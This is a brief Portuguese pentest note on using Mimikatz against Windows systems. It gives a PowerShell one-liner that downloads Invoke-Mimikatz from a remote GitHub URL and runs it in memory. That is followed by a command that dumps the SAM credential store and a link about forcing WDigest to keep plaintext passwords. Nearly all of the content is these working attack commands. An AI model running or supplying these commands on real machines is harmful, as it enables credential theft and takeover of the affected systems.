Mimikatz é uma ferramenta poderosa para pentest em sistemas Windows. Primeiramente importamos com:

iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/dievus/PowerShellForPentesters/main/Tools/Invoke-Mimikatz.ps1")

E conseguimos chamá-lo com:

Invoke-Mimikatz -Command lsadump::sam

Coletando senhas ao modificar os registros

Dar uma olhada aqui https://www.ired.team/offensive-security/credential-access-and-credential-dumping/forcing-wdigest-to-store-credentials-in-plaintext